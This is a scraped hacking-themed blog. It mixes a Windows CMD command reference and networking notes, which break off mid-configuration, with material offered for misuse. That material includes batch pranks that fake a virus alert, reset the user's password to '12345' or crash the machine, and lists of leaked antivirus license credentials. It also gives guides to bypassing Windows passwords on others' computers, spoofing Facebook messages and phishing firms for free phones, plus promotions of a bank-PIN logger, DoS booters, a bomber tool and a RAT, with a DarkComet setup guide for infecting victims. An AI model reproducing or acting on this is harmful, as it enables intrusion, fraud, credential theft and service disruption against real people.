Lord Of Cyber World

2016-08-22T14:44:00.002+05:30

What is CMD?

It's called the Command Prompt (executable name cmd.exe) is the Microsoft-supplied command-line interpreter on OS/2, Windows CE and on Windows NT-based operating systems (including Windows 2000, XP, Vista, 7, Server 2003 and Server 2008). It is the analog of COMMAND.COM in MS-DOS and Windows 9x (where it is called MS-DOS Prompt) systems, or of the Unix shells used on Unix-like systems.

How To Access CMD?

There Are Two Ways:

1) Create A Notepad In Desktop and Name It "anything.bat". Note, you can change the name to whatever you want but it has to have ".bat" at the end. Then Open the notepad and Type "Command.com". Then Click on "save as" Change the save as type to "all files" then type in ....anythinghere... then add .bat at the end.

2) In The Start Menu, Click On "Run" and type in "CMD" If You dont have the "Run" icon on your start menu; Right click the start menu, then click "properties" then click on "customize". Scroll Down then Check "Run Command".

Commands:

ADDUSERS - Add or list users to/from a CSV file

ARP Address Resolution Protocol

ASSOC Change file extension associations

ASSOCIAT One step file association

ATTRIB Change file attributes

BCDBOOT Create or repair a system partition

BOOTCFG Edit Windows boot settings

BROWSTAT Get domain, browser and PDC info

CACLS Change file permissions

CALL Call one batch program from another

CD Change Directory - move to a specific Folder

CHANGE Change Terminal Server Session properties

CHKDSK Check Disk - check and repair disk problems

CHKNTFS Check the NTFS file system

CHOICE Accept keyboard input to a batch file

CIPHER Encrypt or Decrypt files/folders

CleanMgr Automated cleanup of Temp files, recycle bin

CLEARMEM Clear memory leaks

CLIP Copy STDIN to the Windows clipboard.

CLS Clear the screen

CLUSTER Windows Clustering

CMD Start a new CMD shell

CMDKEY Manage stored usernames/passwords

COLOR Change colors of the CMD window

COMP Compare the contents of two files or sets of files

COMPACT Compress files or folders on an NTFS partition

COMPRESS Compress individual files on an NTFS partition

CON2PRT Connect or disconnect a Printer

CONVERT Convert a FAT drive to NTFS.

COPY Copy one or more files to another location

CSCcmd Client-side caching (Offline Files)

CSVDE Import or Export Active Directory data

DATE Display or set the date

DEFRAG Defragment hard drive

DEL Delete one or more files

DELPROF Delete NT user profiles

DELTREE Delete a folder and all subfolders

DevCon Device Manager Command Line Utility

DIR Display a list of files and folders

DIRUSE Display disk usage

DISKCOMP Compare the contents of two floppy disks

DISKCOPY Copy the contents of one floppy disk to another

DISKPART Disk Administration

DNSSTAT DNS Statistics

DOSKEY Edit command line, recall commands, and create macros

DSACLs Active Directory ACLs

DSAdd Add items to active directory (user group computer)

DSGet View items in active directory (user group computer)

DSQuery Search for items in active directory (user group computer)

DSMod Modify items in active directory (user group computer)

DSMove Move an Active directory Object

DSRM Remove items from Active Directory

ECHO Display message on screen

ENDLOCAL End localisation of environment changes in a batch file

ERASE Delete one or more files

EVENTCREATE Add a message to the Windows event log

EXIT Quit the current script/routine and set an errorlevel

EXPAND Uncompress files

EXTRACT Uncompress CAB files

FC Compare two files

FIND Search for a text string in a file

FINDSTR Search for strings in files

FOR /F Loop command: against a set of files

FOR /F Loop command: against the results of another command

FOR Loop command: all options Files, Directory, List

FORFILES Batch process multiple files

FORMAT Format a disk

FREEDISK Check free disk space (in bytes)

FSUTIL File and Volume utilities

FTP File Transfer Protocol

FTYPE Display or modify file types used in file extension associations

GLOBAL Display membership of global groups

GOTO Direct a batch program to jump to a labelled line

GPUPDATE Update Group Policy settings

HELP Online Help

iCACLS Change file and folder permissions

IF Conditionally perform a command

IFMEMBER Is the current user in an NT Workgroup

IPCONFIG Configure IP

KILL Remove a program from memory

LABEL Edit a disk label

LOCAL Display membership of local groups

LOGEVENT Write text to the NT event viewer

LOGMAN Manage Performance Monitor

LOGOFF Log a user off

LOGTIME Log the date and time in a file

MAPISEND Send email from the command line

MBSAcli Baseline Security Analyzer.

MEM Display memory usage

MD Create new folders

MKLINK Create a symbolic link (linkd)

MODE Configure a system device

MORE Display output, one screen at a time

MOUNTVOL Manage a volume mount point

MOVE Move files from one folder to another

MOVEUSER Move a user from one domain to another

MSG Send a message

MSIEXEC Microsoft Windows Installer

MSINFO Windows NT diagnostics

MSTSC Terminal Server Connection (Remote Desktop Protocol)

MV Copy in-use files

NET Manage network resources

NETDOM Domain Manager

NETSH Configure Network Interfaces, Windows Firewall & Remote access

NETSVC Command-line Service Controller

NBTSTAT Display networking statistics (NetBIOS over TCP/IP)

NETSTAT Display networking statistics (TCP/IP)

NOW Display the current Date and Time

NSLOOKUP Name server lookup

NTBACKUP Backup folders to tape

NTRIGHTS Edit user account rights

OPENFILES Query or display open files

PATH Display or set a search path for executable files

PATHPING Trace route plus network latency and packet loss

PAUSE Suspend processing of a batch file and display a message

PERMS Show permissions for a user

PERFMON Performance Monitor

PING Test a network connection

POPD Restore the previous value of the current directory saved by PUSHD

PORTQRY Display the status of ports and services

POWERCFG Configure power settings

PRINT Print a text file

PRINTBRM Print queue Backup/Recovery

PRNCNFG Display, configure or rename a printer

PRNMNGR Add, delete, list printers set the default printer

PROMPT Change the command prompt

PsExec Execute process remotely

PsFile Show files opened remotely

PsGetSid Display the SID of a computer or a user

PsInfo List information about a system

PsKill Kill processes by name or process ID

PsList List detailed information about processes

PsLoggedOn Who's logged on (locally or via resource sharing)

PsLogList Event log records

PsPasswd Change account password

PsService View and control services

PsShutdown Shutdown or reboot a computer

PsSuspend Suspend processes

PUSHD Save and then change the current directory

QGREP Search file(s) for lines that match a given pattern.

RASDIAL Manage RAS connections

RASPHONE Manage RAS connections

RECOVER Recover a damaged file from a defective disk.

REG Registry: Read, Set, Export, Delete keys and values

REGEDIT Import or export registry settings

REGSVR32 Register or unregister a DLL

REGINI Change Registry Permissions

REM Record comments (remarks) in a batch file

REN Rename a file or files

REPLACE Replace or update one file with another

RD Delete folder(s)

RMTSHARE Share a folder or a printer

ROBOCOPY Robust File and Folder Copy

ROUTE Manipulate network routing tables

RUN Start | RUN commands

RUNAS Execute a program under a different user account

RUNDLL32 Run a DLL command (add/remove print connections)

SC Service Control

SCHTASKS Schedule a command to run at a specific time

SCLIST Display NT Services

SET Display, set, or remove environment variables

SETLOCAL Control the visibility of environment variables

SETX Set environment variables permanently

SFC System File Checker

SHARE List or edit a file share or print share

SHIFT Shift the position of replaceable parameters in a batch file

SHORTCUT Create a windows shortcut (.LNK file)

SHOWGRPS List the NT Workgroups a user has joined

SHOWMBRS List the Users who are members of a Workgroup

SHUTDOWN Shutdown the computer

SLEEP Wait for x seconds

SLMGR Software Licensing Management (Vista/2008)

SOON Schedule a command to run in the near future

SORT Sort input

START Start a program or command in a separate window

SU Switch User

SUBINACL Edit file and folder Permissions, Ownership and Domain

SUBST Associate a path with a drive letter

SYSTEMINFO List system configuration

TASKLIST List running applications and services

TASKKILL Remove a running process from memory

TIME Display or set the system time

TIMEOUT Delay processing of a batch file

TITLE Set the window title for a CMD.EXE session

TLIST Task list with full path

TOUCH Change file timestamps

TRACERT Trace route to a remote host

TREE Graphical display of folder structure

TYPE Display the contents of a text file

TypePerf Write performance data to a log file

USRSTAT List domain usernames and last login

VER Display version information

VERIFY Verify that files have been saved

VOL Display a disk label

WHERE Locate and display files in a directory tree

WHOAMI Output the current UserName and domain

WINDIFF Compare the contents of two files or sets of files

WINMSD Windows system diagnostics

WINMSDP Windows system diagnostics II

WINRM Windows Remote Management

WINRS Windows Remote Shell

WMIC WMI Commands

WUAUCLT Windows Update

XCACLS Change file and folder permissions

XCOPY Copy files and folders

:: Comment / Remark

Tricks

To change a user's password, open CMD, and log on as an administrator and type:

net user user_name * /domain

When you are prompted to type a password for the user, type the new password, not the existing password. After you type the new password, the system prompts you to retype the password to confirm.

Alternatively, you can type the following command:

net user user_name new_password

When you do so, the password changes without prompting you again. This command also enables you to change passwords in a batch file.

TO CHANGE CMD TEXT COLOR DO THIS:

TYPE IN CMD

COLOR G

YOU WILL GET MANY OPTION'S CHOSE ONE OF THEM AND TYPE

COLOR (ID)

NOW IN NOTEPAD

TO SHUTDOWN THE COMPUTER TYPE THIS ON NOTEPAD

SHUTDOWN -S -T (THE NUMBER OF SEC'S,MIN'S,HOUR'S,) AND HERE YOU TYPE WHAT YOU WANT TO SAY DURING THE COUNTING TO SHUT DOWN

Fun!

@echo off

title VIRUS FOUND - FATAL ERROR

color 0a

echo:Spyware/Malware/Trojans/Rootkit has been detected

pause

echo:You must Scan Your Computer. Press any key to continue.

pause

echo:Processing.....Error.....Tetry.... .

pause

shutdown -s -t 60 -c "Shutingdown in less then 60 seconds. Memory will be wiped. Contact Your Service Provider."

AND SAVE IT AS .BAT FILE

4dm1n1str4t0r!

Paste In Notepad:

net user

net user (username) * [note: just start typing the new password you want]

net user (username) /add

net user (username) /del

net localgroup (localgroup eg.administrators) (username) /add

Admin + Shutdown [Epic]

Paste In notepad:

@echo off

net user %USERNAME% "12345" > NUL

echo 01101101

pause

Echo °°°° °°°°° °°°°°

Echo °°°°°°° °² °°°° °°°°°°°

Echo °°°°°°°°² °²°°°°°°°°°°²° °°°°°°°°°°°°°°

Echo ² °°°°°°° °°°°°°°°°°°°°° °°°°° ³³°°°°°°°°°°°°°

Echo ³°°°°°°°°°°² ³°°°°°°°°°°°° ³°°°°°°°°°°°°°°°°°°

Echo ³°°°°° °°°°° ³°°°°°°°°°°°°° °°°°°°°°°³°°°°°°°°°

Echo °°°°°°°°°°°°°°°°°°°°° °°°°°°°°°°°°°°°

Echo ³°°°°°³°°°°°°° °°°°°° °°°°° °°°°°°°°°°°

Echo ° °° ³°°°° °°°°°² °°°° °°°°°°°°°°°

Echo ³ ²² ² °°°° °°°°°°°°°°²

pause > NUL

shutdown -s -t 60 -c "Shutting Down. Memory Will Be Wiped. All Hope Is Lost In 60 Seconds."

save it as pwn3en3wb.bat

Another CMD trick.

In Notepad put:

PHP Code:

@echo off

:loop

echo %random%%random%%random%%rando m%%random%%random%

goto loop

This will create and infinite numbers

Save your file as something.bat

Teh Cr4sh0o0o0rz!!!1one!!1

Open notepad and put in :

start

Save your file to lol.bat

This will pop up many pages and will CRASH your computer

Have fun! There are many other ways to have fun with CMD!

ESET NOD 32 Keys

2013-01-24T11:11:00.004+05:30

Username: EAV-75817997
Password: 6frxf3nfxt
Expiration: 17/02/2013

Username: EAV-76001331
Password: csksdhnh4p
Expiration: 18/02/2013

Username: EAV-77867596
Password: 4vjb48xdrk
Expiration: 20/01/2013

Username: EAV-77978034
Password: pkafxt23c8
Expiration: 21/01/2013

Username: EAV-77978041
Password: nsfbe6vc67
Expiration: 21/01/2013

Username: EAV-78797867
Password: cdsb4m37bf
Expiration: 04/02/2013

Username: EAV-78797869
Password: 6pse8spfam
Expiration: 04/02/2013

Username: EAV-78797910
Password: cf7cea5h2b
Expiration: 04/02/2013

Username: EAV-79090539
Password: xc6ht22x8s
Expiration: 30/01/2013

Username: EAV-79090540
Password: bjdpts26x8
Expiration: 30/01/2013

Username: EAV-79090541
Password: 636entbmam
Expiration: 30/01/2013

Username: EAV-79090542
Password: h8dknmbt24
Expiration: 30/01/2013

Username: EAV-79090543
Password: udkrmeb3ph
Expiration: 30/01/2013

Sleek Taskbar Icons Theme

2013-01-23T15:50:00.000+05:30

This is a Tutorial on Changing the Windows Icons to more stylish form...

Here's the preview:

The given icon pack has almost all applications :)

Step 1 :Search for the program that you want to pin to your task bar. Right Click -> Open file location.

Step 2: Create a shortcut of the main.exe file and store it in separate folder where it wont bother you.

Step 3: Place Now place the downloaded icons folders in My Documents or some relevant place. Make sure that the folder never gets erased. So think where it would be good to place that folder.

Step 4: Go Now go to the folder where you stored the shortcut before and Right click -> Properties -> Change Icon... .

Step 5: Browse the icon folder for a suitable icon and select it -> click OK -> save.

Now you have successfully got the new icon to your Application.

Drag the shortcut on your task bar and Enjoy :)

Download Here: 7Stacks

Lord Of Cyber World

2012-11-04T22:34:00.001+05:30

Lord Of Cyber World

Sending Fake Messages on Facebook

2012-10-30T13:27:00.001+05:30

Hi guys,
Today you will see how to send messages on facebook from any account !!

First Go to this Site. Click Here.

Now we need two things for successfully sending a fake message:

The Primary email of the person from whom you want to send the email(here i am using my friend's email), you can easily get it from Profile page of the person or ask him.

The Username of the person whom you want to send the message. (like www.facebook.com/bossc211@facebook.com ) here the bossc211 is my username.

So the Facebook email will be bossc211@facebook.com
Now you Just need to goto the site And fill the form.

The target will get this:

Enjoy sending fake messages :)

Free Avast License Key (Exp date: 1/12/2038 )

2012-10-30T12:37:00.000+05:30

Here is the Key For Avast Antivirus.

This key Expires only 1/12/2038

Click Here to Get the Key.

Enjoy :)

Free And Unlimited SMS-verification and Virtual Credit Cards

2012-10-30T12:28:00.000+05:30

SMS Verification:

Get a anonymous fake mobile-phone number to receive verfication SMS for free.

Click Here to go get a free fake Mobile-Phone number.

Virtual Credit Card:

Get a legit, usable virtual credit card (FREE!).
Here you can get a VCC completely for free to:

Verify Paypal accounts
Verify E-bay accounts

do anything you can do with a real credit card, like receiving money or paying money.

Click Here to go to get your Free VCC!

Cracking Windows Password

2012-10-29T20:12:00.000+05:30

If you are college/school students, you may curious to hack the admin password in your college or school system. This post is going to help you to crack the any type of windows account passwords. Learn how to hack the windows admin password.

Note : Please use Google search to download the latest version of the software.

To Crack Windows password we will be using Ophcrack ( 90 % success rate) and free version of KON-BOOT (100% success rate ).

Download Ophcrack

The first thing we will need to do is download the CD image from Ophcrack’s website. There are two options to download, XP or Vista, so make sure you grab the right one. The Vista download works with Windows Vista or Windows 7, and the only difference between XP and Vista is the “tables” Ophcrack uses to determine the password.

Once the .iso file is downloaded, burn it to a CD using Imgburn, Nero.....( Google search to download the latest version of the software)

If you are going to be cracking your password on something that doesn't have a CD drive, such as a net book download the Universal USB creator from Pen Drive Linux. A USB drive will not only run faster but you can also use a single USB drive for Windows XP, Vista, and 7 if you copy the needed tables to the drive.

To create a USB drive that works with all versions of Windows, download the free password tables from Ophcrack’s website.

Now extract the tables to \tables\vista_free on the USB drive and they will be used automatically by Ophcrack.

Boot from CD/USB

Boot the computer from the CD or USB drive that you created.

Note: On some computers you may have to go into the BIOS settings to change the boot order or push a key to show the boot menu.

Once the disk is done booting, Ophcrack should start automatically and will begin cracking the passwords for all of the users on your computer.

Note: If the computer boots and you only have a blank screen or Ophcrack doesn't start, try restarting the computer and selecting manual or low RAM options on the live CD boot menu.

If you have a complex password it will take a lot longer than simple passwords, and with the free tables your password may never be cracked. Once the crack is done you will see the password in plain text, write it down and reboot the machine to login. If your password isn't cracked, you can also log in as one of the other users with admin rights and then change your password from within Windows.

With the free tables available you will not be able to crack every 90% password.

KON-BOOT :

Getting onto someone’s computer when they are not around can be a tall task. Most people have passwords on their machines, thwarting any would-be pranksters.

Well, this problem can be solved with a small tool called KON-BOOT. Rather than cracking a Windows password, KON-BOOT bypasses it and lets you into the computer without typing one in. Then, when you restart, everything is back to normal, that is, everything you didn't change for the computer prank.

To get KON-BOOT, Click Here.

You will have to unzip the downloaded file and then burn the CD image or on pen drive After that is done, you are ready to start the pranking fun.

Wait until a friend leaves his computer and make sure you have enough time to get the deed done. Pop in the CD and turn on the computer, making sure you boot from the CD. This may require you to hit F12 at the BIOS screen and choose to boot from the CD. You’ll know you’re there when you see the following.

At any time, hit Enter and you should see an ASCII art logo draw onto the screen and a few loading dialog that should look something like this.

The computer should then boot Windows and, if everything worked, you shouldn't be prompted for a password. Now you’re ready to do your computer prank.

After you've finished your dirty deeds, you can just take out your disk and reboot the computer. It will boot as normal, with your playful changes waiting to be discovered.

KON-BOOT is a powerful tool and should be used with discretion. Clearly, it could be used for malicious purposes, but no one like a malicious person.

* KON-BOOT free version has limitation so we mainly use it for Win XP. ( Or you can get the free full version by searching.)

ESET NOD 32 Keys

2012-10-24T09:58:00.000+05:30

Username: TRIAL-74819167
Password: 34d2d62f5x
Expiration: 21/11/2012

Username: TRIAL-74819168
Password: dam6dv2ntc
Expiration: 21/11/2012

Username: TRIAL-74874101
Password: va8xdvdfh7
Expiration: 22/11/2012

Username: TRIAL-74874104
Password: sbn77cnj2v
Expiration: 22/11/2012

Username: TRIAL-74874105
Password: msev4d24bb
Expiration: 22/11/2012

Username: TRIAL-74874113
Password: bc55havrj6
Expiration: 22/11/2012

Username: TRIAL-74874116
Password: u8b6bv8nbd
Expiration: 22/11/2012

Username: TRIAL-74874120
Password: 8jbx2ju4d4
Expiration: 22/11/2012

Username: TRIAL-74874123
Password: sdj2s76x6c
Expiration: 22/11/2012

Username: TRIAL-74874127
Password: pe28kkf4m4
Expiration: 22/11/2012

Username: TRIAL-74874130
Password: ab7ae8sxdc
Expiration: 22/11/2012

Username: TRIAL-74874146
Password: u34bcemxf5
Expiration: 22/11/2012

Username: TRIAL-74874149
Password: evbc63xt8d
Expiration: 22/11/2012

Username: TRIAL-74874154
Password: 7ehbshke3f
Expiration: 22/11/2012

Username: TRIAL-74874161
Password: e266rve8dt
Expiration: 22/11/2012

Username: TRIAL-74874166
Password: 7hd5dc4t6x
Expiration: 22/11/2012

Android Phone Free

2012-10-21T23:44:00.001+05:30

Hello Friends! This is a method of Social Engineering an Phone from a Chinese web site for free...

Required:
1) An Email Id ( Gmail preferred )
2) Good English Knowledge
3) A lil bit of Luck :)

Method:
1) First find a good android mobile reviewing site. We can use Google to find it. Try searching "Android Phone Reviews". Copy the url into your notepad.

Note: Try Finding sites of your country for lesser suspicion.

2) Now to search for a good china android mobile. Again use Google. Search, " China mobile phones" or "China android phones". Copy the url into your notepad.

Note: Use the Complete URL seen on the address bar when you select the phone of your desire.

3) Now, that you have 2 links. Create an gmail id with its name matching the name of the android phone reviewing site.

For Ex: If the phone reviewing site is www.myandriodreview.com,
Create an email id, myandriodreview.com@gmail.com

4) Now on the China mobile phone site try finding their contact email address. So as to contact them.

5) Now we have to email the above taken address from step 4.
The simple trick is that you are gonna mail him that you are an phone reviewer from the phone review site and you need a sample phone to review and promote it.

For Ex:
Hello "Site Name",
I'm Garry G. Andrew from a famous Phone review Website, called "Phone Review Site". I have been
reviewing mobiles phones for about 6 years straight and I'm interested in reviewing one of your phones.To be Clear, "Name of Phone" ,an Android Phone. I'll put a nice review about the phone, just like "An Example review link taken from the Phone review site". Of course I'll add a link to the item, so that people from our site will be redirected to your website and may buy the phone. Since we have good stats around 327,500 views a day. If you are not ready to believe the stats, you can check it by yourself. I'm sure I can help you boost your sales with the review. For this review I (of course) need a sample to make a review from it. I hope to hear if you're interested in this opportunity.

Note: For you being more successful in this, you can try calling them instead of emailing them.

ESET NOD 32 Keys ( Daily Updated)

2012-10-21T22:53:00.002+05:30

Username: EAV-70684692
Password: e5aft3mpur
Expiration: 17/11/2012

Username: EAV-70685338
Password: r4pamfbh6c
Expiration: 17/11/2012

Username: EAV-70685340
Password: n57hevmkm3
Expiration: 17/11/2012

Username: EAV-70688498
Password: jvfru7pfk3
Expiration: 17/11/2012

Username: EAV-70688502
Password: h5pkchmsex
Expiration: 17/11/2012

Username: EAV-70689076
Password: r72nb2pxv6
Expiration: 17/11/2012

Username: EAV-70689079
Password: b47r5k3und
Expiration: 17/11/2012

Username: EAV-70689090
Password: 6autdba8x4
Expiration: 17/11/2012

Username: EAV-70689093
Password: p64u8xk6pc
Expiration: 17/11/2012

Username: EAV-70689095
Password: vs4r4sutr7
Expiration: 17/11/2012

Username: EAV-72006391
Password: 57pscc4d3j
Expiration: 11/12/2012

Username: EAV-73363962
Password: h7c4fvphjd
Expiration: 03/01/2013

Username: EAV-73363963
Password: 625vh5pbt2
Expiration: 03/01/2013

Username: EAV-73363965
Password: xc53nadms6
Expiration: 03/01/2013

Username: EAV-73363966
Password: k6vuphde4p
Expiration: 03/01/2013

Username: EAV-73363980
Password: psf7puhtes
Expiration: 03/01/2013

Username: EAV-73363986
Password: k4345mv3va
Expiration: 03/01/2013

Username: EAV-73365107
Password: 7f8eu4tr37
Expiration: 03/01/2013

Username: EAV-73365113
Password: kf8scjvmxn
Expiration: 03/01/2013

Username: EAV-73365117
Password: nesjj6kjf2
Expiration: 03/01/2013

Hiding Files Inside a Image File

2012-09-15T22:46:00.000+05:30

This is a post where you could learn how to hide any file into a jpeg image.

1) Collect all the files you wish to bind and Place them in a folder, including the image file.

Note:
The Image File from hereon will be referred as "Hide.jpg".

2) Now put the files you want to compress into a new folder (inside the same folder) and compress the folder using Winrar to ".rar" or ".zip". Now the Folder should contain only two files the Image file and the RAR file.

Note:
The rar file from hereon will be referred as "Hidden.rar".

3) Now Open up Command Prompt by Clicking on Start -> Run -> cmd.

4) In Command Prompt, Navigate yourself to the Folder by keying in "cd" command ( Change Directory Command)

EX: cd c:\documents\Folder1

5) Now you have to type the following code to bind these two files.

Code:
copy /b hide.jpg + hidden.rar hide.jpg

6) Hurray :) You have hidden the file into the image file.
Now the file will act as .jpeg file (Image File) and yet it will contain your file.

How to View the Contents and Extract the Files

Method 1: You can directly change the extension of the file from "hide.jpg" to "hide.rar" and you can view and extract the files.

Method 2: You can open the image file using winrar and from there you can view and extract the files.

Enjoy :)

Runescape Bank Pin Logger

2012-08-20T23:47:00.000+05:30

Great Runescape Tool: Runescape Bank Pin Logger

About:
This amazing tool generates you a tiny stub which you will need to send over to the victim with the bank pin.
Once the stub ran on the victim, it will send a notification email with the message that it worked!
After that, it's just a matter of time till the victim enters their bank pin and once it's entered you will receive a direct email with the bank pin + A screenshot of the bank!
This tool normally costs 50$, but now it's completely free!

Pictures:

Download the tool right here now!

Thank Hosman For Sharing This Software.

This Post is From Here.

Website booter

2012-08-20T23:45:00.000+05:30

Great Free Website booter!

About:
This easy and powerful website booter is coded in visual basic. Simply hit the URL you want to go offline in the program and then enter the amount of threads/duration.
This easy booter can take down medium websites such as virustotal.com.

Use this tool at your own risk, I am not responsible for the damages!

Picture:

Download the tool, click here!

Thank Hosman For Creating This BOT.

This Post is From Here.

Free SMS & Email Bomber

2012-08-20T23:42:00.000+05:30

First share: Free SMS & Email Bomber!

About the tool:

-Simple interface

-1 second delay only!

-SMS bomber only for ATNT!

-Email bomber works!

-Coded in VB.net

Picture:

Download here now!

Don't be afraid of virus's or infections, the tool is 100% clean. Proof .

Thank Hosman For Sharing This Software.

This Post is From Here.

IlluDoser 1.0

2012-08-20T23:39:00.000+05:30

IlluDoser 1.0 a powerful Doser

About IlluDoser 1.0:
This powerful Doser uses 4 different attack styles: HTTP, UDP, SYN and SlowLoris. Choose your own attack method. It has a very simple GUI.

Features of IlluDoser 1.0:

-Different attack styles: HTTP, UDP, SYN and SlowLoris
-xBuffer, this makes the packets increase 3 times
-Coded in VB6
-You can build the stub with startup/install
-With Anti-Bitdefender
-Easy GUI

Pictures:

Video of using IlluDoser 1.0:

Click here!

Thank Hosman For Creating This BOT.

This Post is From Here.

SpyLine RAT 1.0

2012-08-20T23:37:00.000+05:30

SpyLine RAT 1.0

Features of SpyLine RAT 1.0
Server building:
-Inject into process
-Melt file
-Install & Startup
-Drop file at your preferred location
-Anti Sandiebox
-Anti Norton
-UPX compression

Spy features:
-Very fast streaming Remote Desktop
-Very fast streaming remote Webcam Manager
-Online Keylogger
-Offline Keylogger

Fun features:
-Enter a text which will be spoken out on the infected computer
-Hide&Show Desktop icons
-Turn Capslock on&off
-Open&Close Disk tray
-Block&Unblock input (mouse,keyboard)
-Chat with the infected computer

Other features:
-Open up webpage on the infected computer
-Open up programs on the infected computer (such as notepad.exe or chrome.exe)
-Send keys to the infected computer
-Send a message box to the infected computer

DOWNLOAD IT DIRECTLY HERE!

For more info about the RAT, go here:
Hack Forums

Thank Hosman For Creating This BOT.

This Post is From Here.

Enjoy :)

Youtube Tool: Account Creator - IlluViews 1.1

2012-08-20T23:29:00.001+05:30

Great Youtube Tool: IlluViews 1.1

About IlluViews 1.1:

This Youtube Bot helps you creating Youtube accounts quickly and completely safe! It creates 1 account each 10-20 seconds!

Picture of IlluViews 1.1:

The tool is 100% safe, check out the virus scan!

Click here

Click here for Download!

Thank Hosman For Creating This BOT.

This Post is From Here.

Youtube Tool : View Increaser - IlluViews 1.0

2012-08-20T23:09:00.003+05:30

Great Youtube Tool: IlluViews 1.0:

About IlluViews:

This handy tool enhances your videos on youtube with some extra view. Load up your proxies and you can get up to 400,000 views in just 20 minutes!

This tool generates about 100 views per 15 seconds!

Picture:

Video showing how it works:

Click here to download IlluViews!

Thank Hosman For Creating This BOT.

This Post is From Here.

Removing RAT Manually

2012-08-20T23:01:00.000+05:30

Heya Fellas, This tutorial will help you to remove the Infection (RAT) from your computer manually...

RAT - Remote Administration Tool

Cybergate

For the RAT called Cybergate, we will be using the following settings:

So lets run the virus!

In the settings, you saw that I highlighted 3 things:
-The HKCU, this means the startup name. So when your slave reboots, the HKCU called (in this case) Windows Firewall will be executed again. This startup will be placed in msconfig. We can check this by going to: run and then open ''msconfig''.

Here we see that there is an unknown startup called Windows Firewall, and it runs svchost.exe on every boot of the computer. So an important tip here is, ALWAYS check your msconfig for unknown startups. What we are going to do now is, disabling the startup. But when we do this, it comes back on! This is the second thing that I highlighted, called:
-Persistence, this is an extra process in your task manager which is called explorer.exe in this case. This process will keep the startup alive, so what we need to do is kill that process! Simply go to task manager, and then search for that process. Be careful with what process you end tho, because people who try to RAT you will always try to make the process look legit as possible.

The one with the less KB is the fake one (The Cybergate one)
So disable this, and now you can remove Windows Firewall from the startup! What also a good tip is, that RATs always use the *32 as default behind the process, so this may also help finding the fake process.
So this was what we all can do about removing Cybergate infections, of course a Virusscanner will also do the same, but crypters bypass virusscanners, so doing this manually is better.

DarkComet

For the RAT Darkcomet, they released a good tool called Darkcomet Remover. You can use this tool to remove infections, download it here:
DarkComet Removal Tool - Download here

But we can also remove infections manually, which is in my opinion better.

The settings we will be using for Darkcomet:

So you see we have added persistence to the RAT, and the startup is called ''Startup Test'' in this case. Now after running the virus, the following appears in our MSCONFIG:

If we try to remove this startup, it will come back. Same story as CyberGate, there is a persistence process active. We must kill this process. The persistence process of Darkcomet is called:
-Msdcsc.exe*32, this process is quite obvious. As description it says: Remote Service Application:

Kill this process, and we can remove the Startup from Msconfig!
Darkcomet activates other processes as well, sometimes. The processes are called:
-hkmcd.exe
-persistence.exe
Kill these processes as well.

Blackshades

We will be using the following settings in the Blackshades RAT:

As you can see in the picture, we will be using a startup called: ''Startup Test BS'' and we have activated ''protect process'' this is in other words persistence.

So lets run the virus and then see what comes up in msconfig and task manager:

Again, we can't disable the startup, because there is another process active that keeps the startup alive. The startup is called smss.exe in this case. So lets end that process:

After ending that process, we can close the startup!

But what if a process can't be killed? This can be caused by many crypters. Some crypters will add persistence to the process, so when you try to kill that process it will say it can't end it!
Some useful tools for removing processes without limitations are:

AVG PC tuneup 2011 : Download - Here.

Unknown Logger Cure, when having the keylogger, you will also get a Unknown Cure, with that tool you can end any process. Download - Here.

So having these tools, just navigate to your process you want to kill, and simply end it!

Enjoy :)

Remote Administration Tool(RAT) Setup

2012-08-20T22:52:00.001+05:30

Heya Fellas, In this post i'll show you how to setup a RAT(Remote Administration Tool) using Darkcomet.

You'll Need these, So Download 'em :
DarkComet
No-IP DUC

No-IP Setup

You'll have to sign up in No-IP, Click Here.
Once that's done, go here :

And Fill in the Hostname Information.

Now Install the Downloaded No-IP DUC Client. Open it and Login.

And Select "Select Hosts".

After that, the Host that you have created will show up, so just check the box like here :

Now Click on "Save".

DarkComet Configuration

Now, Open up DarkComet.

After that, Simply put an random port, anything is valid.
And Don't forget to Remember the Port you have Entered.

Port-Forwarding

Open up "CMD.exe" and type "ipconfig" and press Enter, so as to get the default Gateway.

Now Open up your Browser ( Chrome for eg.), and type in the Default Gateway IP Address. This will take you to the router configuration page. Open it up by typing in your user id and password ( Default - Userid :Admin and Password :Password). Get into Port-Forwarding Menu.

Now, Enter up the Port Number and Select TCP and Key in the IPv4 Address which we extracted from our computer using CMD. Now Click Appy.

Now, We have Successfully Completed Port-Forwarding.

DarkComet Setup

Now, Open DarkComet.

Click on DarkComet-RAT --> Server Module --> Full Editor (Exert)

Just Fill in the Profile, as i did.

Then

And so on,

And Then,

Now you have finally created the Server.exe which will transfer information from the Victim's Computer.

Now, It's your talent to Spread this. As soon as the Victim Download's it, the server will start running in the background and will start trasferring information to us.

But one Defect is that , All Anti Viruses can Detect this. So for Making it undetecable you have to crypt the File, about which ill post on upcoming dates.

Enjoy :)

Networking Basics - Part 2

2012-08-20T19:51:00.001+05:30

6. Link Aggregation (802.3ad describes lacp - link aggregation control protocol)
Link aggregation is used to connect one switch to another with more than just one link. This is useful for redundancy and to assume a higher Bandwidth for the uplink.
First of all you need to know that you should never connect two switches to each other with more than one cable unless you have configured spanning tree or link aggregation.
If you do so without one of these features (there are even more you can configure like the HP mesh) you will cause a broadcast storm.
The broadcast storm will cause a total outage of your network. This is called a network loop and can be achieved with only one switch.
Just plug in both ends of a network cable to the same switch and that's all. To be sure this is not happening (just imagine an employee don't likes to see a cable hanging
around and plugs the other end to another network jack) you need to configure a loop protection on all access/edge ports (this is the name of the ports which are used to connect
an end note like a client or a printer). Depending on the size of the network, a network loop will kill your complete network in less than 10 seconds.

Ok, as I said you can assume a higher Bandwidth with link aggregation but you need to know one more thing. If you just put two one gigabit links to a link aggregation it does
not mean that you have a two gigabit uplink. Most switch vendors do not do any kind of load balancing. Typically this is only a load sharing which means that the network traffic is
shared by both links in a revolving system. First conversation takes link one, second conversation takes link two, third conversation takes link one and so on.
As there is no validation of link quality the fist conversation can be held while the second one has already finished. The third one will take link 1 and not the second link
which is free in this example.

This is the configuration on an hp switch
(as I mentioned on the fist part of tutorial/guide this feature is called trunk in the hp world. Don't mix it with the cisco trunk)

Code:

hpswitch> enable
password manager:
hpswitch# configure terminal
hpswitch(config)# trunk 23,24 trk1 lacp
hpswitch(config)# write memory

What you need to do:
issue the trunk command with the following information
- A list of ports that will be aggregated
- A name for the trunk
- The type of trunk (HP trunk or LACP).
If no option is entered, the trunk will default to an hp trunk.

This is the configuration on a cisco switch:

Code:

ciscoswitch> enable
enable password:
ciscoswitch# configure terminal
ciscoswitch(config)# interface gigabitethernet 0/1
